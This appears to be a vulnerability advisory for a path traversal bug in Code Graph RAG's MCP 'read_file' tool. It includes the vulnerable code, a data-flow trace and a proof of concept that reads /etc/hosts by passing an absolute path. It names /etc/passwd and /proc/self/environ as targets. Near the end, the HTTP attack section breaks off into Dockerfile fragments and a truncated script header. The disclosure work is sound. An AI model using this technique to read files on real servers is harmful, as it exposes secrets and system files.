Code Graph RAG: MCP paginated read_file path traversal / arbitrary file read
Summary
The read_file MCP tool in codebase_rag/mcp/tools.py contains a path traversal vulnerability in its paginated branch (when offset or limit is supplied). The handler constructs a file path using Path(self.project_root) / file_path without subsequently validating that the resolved path remains within the configured project root. Python's pathlib silently discards the left-hand component when the right-hand argument is an absolute path, allowing an attacker to read any UTF-8-readable file on the server by passing an absolute path such as /etc/passwd.
Details
Vulnerable location: codebase_rag/mcp/tools.py:556–565 (MCPToolsRegistry.read_file)
The read_file MCP tool accepts three parameters: file_path, offset, and limit. When either offset or limit is present the handler takes a distinct code path:
# codebase_rag/mcp/tools.py:556-565
async def read_file(
self, file_path: str, offset: int | None = None, limit: int | None = None
) -> str:
logger.info(lg.MCP_READ_FILE.format(path=file_path, offset=offset, limit=limit))
try:
if offset is not None or limit is not None:
full_path = Path(self.project_root) / file_path # ← VULNERABLE LINE
start = offset if offset is not None else 0
with open(full_path, encoding=cs.ENCODING_UTF8) as f: # ← SINK
Because pathlib.Path.__truediv__ replaces the left operand entirely when the right operand is an absolute path, any caller-supplied absolute path (e.g., /etc/passwd, /proc/self/environ) causes full_path to point outside the project root.
The non-paginated branch is protected by the @validate_project_path decorator (applied via codebase_rag/tools/file_reader.py:27) which performs .resolve().relative_to(project_root) (codebase_rag/decorators.py:73–75), but this decorator is never invoked in the paginated branch, leaving it completely unguarded.
Full data-flow (source → sink):
codebase_rag/config.py:302— HTTP MCP default host is0.0.0.0.codebase_rag/cli.py:717— CLI exposesmcp-server.codebase_rag/cli.py:726–731—--transport httpinvokesserve_http(host=resolved_host, port=resolved_port).codebase_rag/mcp/server.py:208–210— Starlette mounts the MCP HTTP endpoint.codebase_rag/mcp/tools.py:227–249—read_fileis registered as an MCP tool accepting attacker-controlledfile_path,offset, andlimit.codebase_rag/mcp/server.py:113–127—call_tooldispatches JSON arguments directly to the handler viaawait handler(**arguments).codebase_rag/mcp/tools.py:561–565— paginated branch buildsfull_pathand callsopen(full_path)without any boundary check.
The vulnerability is also present when using the stdio transport because the vulnerable code path does not depend on transport type; however, the attack is unauthenticated and network-accessible only when HTTP transport is configured.
PoC
Prerequisites:
- Docker installed.
- Repository cloned with the
vuln-001/artifacts present (Dockerfile, poc.py).
Build and run:
# From the repository root (parent of vuln-001/)
docker build -t vuln001-poc -f vuln-001/Dockerfile .
docker run --rm vuln001-poc
The Dockerfile installs the codebase_rag package from the local repository source, creates a "safe" project root at /tmp/safe-project-root, and runs poc.py.
What the PoC does (poc.py):
- Pre-mocks the
mgclient/pymgclientnative C extensions (Memgraph client) so the package imports without a live database. - Instantiates
MCPToolsRegistryviaobject.__new__(), setting onlyself.project_root = "/tmp/safe-project-root"— matching what the real server does. - Demonstrates the pathlib bypass:
Path("/tmp/safe-project-root") / "/etc/hosts"resolves toPath("/etc/hosts"). - Calls
registry.read_file("/etc/hosts", offset=0, limit=5)— the actual vulnerable method from the installed package. - Asserts that real
/etc/hostscontent is returned, confirming full boundary bypass.
Expected output:
[MCP] read_file: /etc/hosts (offset=0, limit=5)
[+] CONFIRMED: pathlib discards project_root when file_path is absolute
[+] read_file() returned:
# Lines 1-5 of 7
127.0.0.1 localhost
::1 localhost ip6-localhost ip6-loopback
fe00:: ip6-localnet
ff00:: ip6-mcastprefix
ff02::1 ip6-allnodes
[+] EXPLOIT SUCCESSFUL
[+] Content of '/etc/hosts' exfiltrated via path traversal
[+] Project root boundary '/tmp/safe-project-root' was completely bypassed
[+] VULNERABILITY CONFIRMED: VULN-001 CWE-22 Path Traversal
Equivalent HTTP transport attack (when server is running):
python3 - /tmp/safe-project-root/README.md
COPY vuln-001/poc.py /app/poc.py
CMD ["python3", "/app/poc.py"]
poc.py
#!/usr/bin/env python3
"""
PoC for VULN-001: MCP paginated read_file path traversal / arbitrary file read
=============================================================================
Repository : vitali87/code-graph-rag
Version :